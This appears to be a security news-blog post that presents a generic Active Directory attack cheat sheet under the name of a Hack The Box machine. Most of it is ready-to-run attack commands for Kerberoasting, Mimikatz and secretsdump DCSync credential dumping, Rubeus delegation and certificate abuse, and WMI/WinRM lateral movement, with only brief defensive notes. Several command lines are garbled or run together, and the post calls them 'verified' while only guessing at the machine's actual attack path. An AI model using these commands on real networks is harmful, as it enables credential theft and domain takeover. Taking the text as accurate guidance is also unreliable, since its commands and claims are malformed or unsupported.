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Introduction:
The recent completion of the “Hercules” machine on Hack The Box, classified as an “Insane” difficulty Windows environment, showcases a complex Active Directory (AD) attack path. This engagement highlights the critical need for security professionals to master advanced enumeration, permission abuse, and lateral movement techniques within modern corporate networks. Understanding these attack vectors is paramount for both offensive red teams and defensive blue teams.
Learning Objectives:
- Master advanced AD enumeration techniques to discover hidden relationships and misconfigurations.
- Understand and exploit privilege escalation chains through delegated permissions and ACL abuse.
- Develop methodologies for persistent access and domain compromise in complex AD environments.
You Should Know:
1. Advanced AD Enumeration with PowerView
Verified Command List:
Get-NetComputer -OperatingSystem "Server 2016" | Select-1 name Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | Select-1 samaccountname Get-NetGroupMember "Domain Admins" | Select-1 MemberName Get-NetLocalGroup -ComputerName DC01 -GroupName "Administrators" Find-LocalAdminAccess -Verbose Get-ObjectAcl -SamAccountName "TargetUser" -ResolveGUIDs
Step-by-step guide:
PowerView remains essential for AD reconnaissance. Begin by identifying key infrastructure with Get-NetComputer, focusing on domain controllers and servers. Filter enabled users using UAC flags, then enumerate high-privilege groups. The Find-LocalAdminAccess command reveals systems where your current context has local admin rights, while Get-ObjectAcl helps identify permission abuse opportunities for privilege escalation.
2. Kerberoasting and Service Principal Name Abuse
Verified Command List:
Set-ExecutionPolicy Bypass -Scope Process Import-Module .\PowerView.ps1 Get-NetUser -SPN | Select samaccountname,serviceprincipalname Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.domain.com" Invoke-Kerberoast -OutputFormat HashCat | Select-1 Hash
Step-by-step guide:
Kerberoasting targets service accounts with SPNs configured. Use Get-NetUser -SPN to identify potential targets. The KerberosRequestorSecurityToken request forces a TGS ticket, which Invoke-Kerberoast then extracts and converts to crackable hashes. This technique often reveals weak service account passwords that can lead to domain escalation.
3. ACL-Based Privilege Escalation with BloodHound
Verified Command List:
sudo neo4j console python3 BloodHound.py -c All -u 'user' -p 'password' -d domain.com -ns 10.10.10.1 SharpHound.exe --CollectionMethods All --Domain domain.com --LdapUsername user --LdapPassword password
Step-by-step guide:
BloodHound maps AD attack paths through graph theory. Start Neo4j database, then run SharpHound collector on a domain-joined system or use Python BloodHound with credentials. Import collected data into BloodHound UI to visualize relationships like GenericAll, GenericWrite, Owns, and WriteDACL permissions that enable privilege escalation chains.
4. DCSync Attack and Mitigation
Verified Command List:
Import-Module .\Mimikatz.ps1 Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' secretsdump.py domain/user:[email protected]
Step-by-step guide:
DCSync mimics domain controller behavior to pull password hashes. With appropriate permissions (Domain Admins, Enterprise Admins, or custom replication rights), use Mimikatz or Impacket’s secretsdump to extract KRBTGT and other user hashes. This enables golden ticket attacks and requires immediate detection through monitoring for 4662 events with replication requests.
5. Constrained Delegation Exploitation
Verified Command List:
Get-NetUser -TrustedToAuth | Select samaccountname,msds-allowedtodelegateto Get-NetComputer -TrustedToAuth | Select name,msds-allowedtodelegateto Rubeus.exe s4u /user:websvc /msdsspn:cifs/file01.domain.com /impersonateuser:administrator /ptt
Step-by-step guide:
Constrained delegation allows services to impersonate users to specific services. Enumerate with PowerView, then use Rubeus for S4U2Self and S4U2Proxy extensions to request tickets for impersonated users. The /ptt flag injects the resulting TGS directly, granting access to delegated services as the targeted high-privilege user.
6. Certificate Template Exploitation
Verified Command List:
Certify.exe find /vulnerable Certify.exe request /ca:CA01.domain.com\Domain-CA /template:VulnTemplate Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
Step-by-step guide:
AD certificate services often contain misconfigured templates enabling domain escalation. Use Certify to find templates where domain computers can enroll or where low-privileged users have enrollment rights. Request certificates, convert to PFX if needed, then use Rubeus to request TGTs with the certificate for authentication bypass.
7. Lateral Movement with WMI and WinRM
Verified Command List:
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe" -ComputerName TARGET01 Enter-PSSession -ComputerName TARGET01 -Credential $cred evil-winrm -i TARGET01.domain.com -u user -p password wmic /node:TARGET01 process call create "cmd.exe /c whoami"
Step-by-step guide:
Windows Management Instrumentation and WinRM provide remote execution capabilities. Use WMI for basic command execution or PSRemoting for full interactive sessions. Evil-WinRM offers a penetration testing-focused WinRM client. These techniques require appropriate permissions and enabled services, commonly found during lateral movement phases.
What Undercode Say:
- Advanced AD attacks require deep understanding of trust relationships and permission inheritance
- Defense must focus on detecting abnormal replication requests and ticket-granting activities
+ Analysis:
The Hercules machine demonstrates that modern AD environments remain vulnerable to complex attack chains despite basic hardening. The real security gap exists in the intricate web of permissions and trusts that administrators rarely fully comprehend. Successful defense requires implementing tiered administration, regularly auditing delegation rights, and monitoring for DCSync replication requests and abnormal Kerberos ticket activities. The attack path through Hercules likely involved multiple hops of privilege escalation through misconfigured ACLs, service account compromises, and ultimately domain dominance through replication rights abuse.
Prediction:
As Microsoft continues to harden default AD configurations, attackers will increasingly focus on abusing business-critical applications and their associated service accounts. The future of AD exploitation lies in certificate-based authentication attacks and cloud-hybrid identity synchronization vulnerabilities. Defenders must implement certificate authority monitoring and extend security controls to cover Azure AD Connect and other hybrid identity components that create new attack surfaces between on-premises and cloud environments.
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IT/Security Reporter URL:
Reported By: Camilo Guerrero – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
